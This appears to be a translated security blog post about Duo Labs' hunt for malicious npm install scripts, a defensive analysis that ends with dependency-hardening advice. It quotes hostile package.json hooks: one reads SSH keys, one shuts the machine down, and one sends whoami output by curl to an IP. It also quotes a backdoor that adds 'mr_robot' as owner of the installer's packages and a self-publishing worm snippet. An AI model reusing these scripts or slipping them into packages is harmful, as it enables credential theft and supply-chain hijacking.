Last week, we
talked about how a few dozen packets were found in the npm registry that steal data from environment variables. It happened in early August and caused a wave of interest in the safety of npm-packages. The comments to the previous material rightly noted that the problem of unreliable packages has existed since the day of the appearance of package managers, that, although now everything is more or less calm, no one is immune from the problems of very different scale. For example, malicious code that was introduced in the next update of some popular package can cause a real disaster. The search for dangerous packages is not easy, they are approached from different sides. Today we want to share with you a story about how the
Duo Labs staged a hunt for malicious npm-packages.

A couple of words about dangerous packages
The names of newly discovered dangerous packages that steal data from environment variables were calculated on the fact that the developer will make a typo by entering the name of a known package when running the
npm install
command.
The danger of installing such packages lies in the fact that secret keys or other important information are often stored in environment variables. If the administrator accidentally installs such a package, everything valuable will be collected and sent to the attacker. And, in this particular attack, the malicious packages were published as dependent on real packages with similar names, as a result, the necessary package will be installed, and the developer will most likely not notice anything suspicious.
')
Considering the fact that npm has some history of dealing with malicious code — either with cracked regular packages or with those originally designed to perform some unwanted actions, we decided to analyze the entire npm repository and hunt for other malicious packages.
Trouble story npm
The recent buzz around malware packages in the npm repository is not the first such incident. In 2016, a certain developer canceled the publication of his npm-packages in response to a dispute related to names. Many other packages depended on them, as a result, the cancellation of the publication led to a widespread
disruption of work and fears related to the possible hacking of packages by hackers.
Here is the
material that was published this year. Here, the researcher was able to get direct access to 14% of all npm-packages (and indirect access to 54% of packages). He either cracked weak account passwords using brute force, or used passwords obtained after hacking services that are not directly related to npm. This led to a massive
reset of passwords in npm.
The possible negative impact of hacked or malicious packages is exacerbated by how the npm registry is structured. Namely, npm
welcomes the development of small packages that depend on many other packages. This approach led to the emergence of a whole
network of small packages, each of which depends on many others. In the case of the aforementioned research into the possibility of theft of credentials, the author was able to access some very popular packages, which gave him the potential to make a much larger attack on the npm ecosystem, rather than the one that would be possible, did not exist in npm so much interdependence of packages .
For example, here is a dependency graph for the top 100 npm packages prepared by
GraphCommons .
Graph of dependencies of npm-packages from the first hundredHow malicious npm packages capture systems
In the above cases of attacks on npm, ordinary developers who have no malicious intent participated. But what if something like this is organized by an intruder? How can he take advantage of access to other people's packages for personal gain?
The easiest way to attack is to use the npm feature to run
preinstall
and
postinstall
. This is how the newly discovered malicious packages were arranged. In these scripts, there can be arbitrary system commands specified in the
package.json
package file, designed to be executed, respectively, before and after the package installation.
Please note: the commands in the scripts can be any .
This feature is useful in itself. In fact, such scripts are often used as an aid in the presence of complex package installation configurations. However, they give an attacker access to packages that have been hacked or initially malicious. In fact, it allows hacking systems.
Given all this, let's analyze the npm registry in order to detect potentially dangerous packages.
The hunt for malicious packages
▍ Download data for analysis
The first step in our analysis was to get information about the packages. The npm registry is based on CouchDB (
registry.npmjs.com ) There was an endpoint
/-/all
that returned information on all packages in JSON, it all worked until this feature was
turned off .
We, for our purposes, can refer to the copy of the registry at
replicate.npmjs.com . Let's apply the same technique that
other libraries use to get a copy of JSON data for each package:
curl https://replicate.npmjs.com/registry/_design/scratch/_view/byField > npm.json
Then we will use the tool for processing JSON
jq
and extract package names, scripts and download URLs from the received data. This will help us such a neat one-liner:
cat npm.json | jq '[.rows | to_entries[] | .value | objects | {"name": .value.name, "scripts": .value.scripts, "tarball": .value.dist.tarball}]' > npm_scripts.json
In order to simplify the analysis, we, quickly, prepared
a Python script to solve the following tasks:
- Search for packages with
preinstall
, postinstall
or install
postinstall
.
- Search for files executed by the script.
- Search for strings found in files that may indicate suspicious activity.
▍ Findings
Attack PackagesDevelopers have long been aware of the potential dangers of installation scripts. One of our first finds was packages that are designed to demonstrate this problem in a seemingly safe way. Here is a summary of these packages:
{ "name": "maybemaliciouspackage", "scripts": { "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'" } }, { "name": "deasyncp", "scripts": { "preinstall": "say U WOT M8; shutdown -s now" } }, { "name": "harmlesspackage", "scripts": { "postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH keys :)' && curl -X GET http://104.131.21.155:8043/\\?$(whoami)" } }, { "name": "npm-exploit", "scripts": { "install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx" } }
Curious developers scriptsThe next thing we found were scripts that track the package installation location. Npm provides specific download data on the package page, but some authors want more. And this is already a violation of the privacy of users. Here are some packages that use Google Analytics or Piwik to track installations.
{ "name": "npm_scripts_test_metrics", "scripts": { "preinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Pre%20Install&ea=run'", "postinstall": "curl 'http://google-analytics.com/collect?v=1&t=event&tid=UA-80316857-2&cid=fab8da3e-d191-4637-a138-f7fdf0444736&ec=Post%20Install&ea=run'" } }, { "name": "subtitles-lib", "scripts": { "postinstall": "bash -c 'curl \"http://avighier.piwikpro.com/piwik.php?idsite=3&rec=1&action_name=$HOSTNAME\"'" } }
Such things in some packages are not so obvious. Scripts for collecting data are hidden in the installation JavaScript files instead of being embedded in the shell commands in the
package.json
file.
Here are some of the similar packages we found. Links lead to the corresponding scripts:
Malicious scriptsAnd finally, we started searching for packages whose installation scripts are malicious in nature. When installing such packages, the user's system will be subject to very undesirable effects.
Mr_robot caseWhile examining the remaining packages, we came across an interesting installation script in the
shrugging-logging
package. It is arranged very simply. The package adds a set of ASCII characters
¯_(ツ)_/¯
(the so-called shrug - emoticon shrugging) to the log messages. However, this package has a very unpleasant
postinstall
script, which gives the author of the package (
mr_robot
) the right to manage npm-packages owned by the one who ran
npm install
.
Here is the corresponding code snippet. The full text of the function can be found
here .
function currentUser(cb) { exec('npm whoami', function (err, stdout, stderr) { if (!err) cb(stdout); }); } function addOwner(packageName, newOwner) { exec('npm owner add ' + newOwner + ' ' + packageName); } function getModulesOwned(user, cb) { var url = 'https://www.npmjs.org/~' + user; request(url, function (error, response, body) { var $ = cheerio.load(body); var packages = $('.collaborated-packages a').map(function (i, el) { return $(this).text(); }).get(); cb(packages); }); } currentUser(function (user) { if (user) { getModulesOwned(user, function (modules) { modules.forEach(function (moduleName) { addOwner(moduleName, 'mr_robot'); }); }); } });
First, the script uses the
npm whoami
to get the name of the current user. He then searches for the
npmjs.org website
for the packages that belong to this user. As a result, the script uses the
npm owner add
command to add
mr_robot
to the number of owners of all these packages.
This author also published the following packages containing the same backdoor:
test-module-a
pandora-doomsday
Modification and publication of local packagesAnother malicious script found by us contains code that, in many respects, is similar to what was in the
mr_robot
packages, however, there is another ace up its sleeve. Instead of simply modifying the list of owners of the npm-packages, the
sdfjghlkfjdshlkjdhsfg
module demonstrates evidence of the possibility of infection and publication of local packages.
The installation script
sdfjghlkfjdshlkjdhsfg
demonstrates this process by modifying and publishing itself:
function infectModule (moduleName) { installModule(moduleName) .then(() => { addScript(moduleName); copyScript(moduleName); return incrementPatchVersion(moduleName); }) .then(() => publishInfectedModule(moduleName)) .catch(() => {}); } const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg"; infectModule(MODULE_NAME);
Full source can be found
here .
Although we only have a package that proves the possibility of such an attack, the exact same approach can be easily used to attack local packages owned by the user who performs the installation.
Results
It is important to note that the above is possible not only in the npm repository. This is typical of most, if not all, package managers. Managers allow those who write and publish packages to set commands invoked during package installation. Perhaps for npm this problem is more noticeable due to the package dependency structure, which we talked about above.
In addition to this, it is important to note that we face a problem that is very difficult to solve. Static analysis of published npm-packages is a difficult task. So complex that there are whole companies that do it.
In addition, there are messages from the npm developers that make it possible to judge that efforts are being made to use various metrics aimed at preventing users from downloading malicious packages. Take a look, for example, on
this chat on Twitter.
In the meantime, it is recommended to continue to be careful when adding dependencies to projects. In addition to minimizing the number of dependencies, we recommend using strict versioning and integrity checking of all dependencies, which can be done using the built-in
yarn tools or the
npm shrinkwrap
. This simple technique will give the developer confidence that the code that was used during the development will go into production.
Dear readers! Do you protect your systems and Node.js projects from malicious npm packages? If so, please tell us how you do it.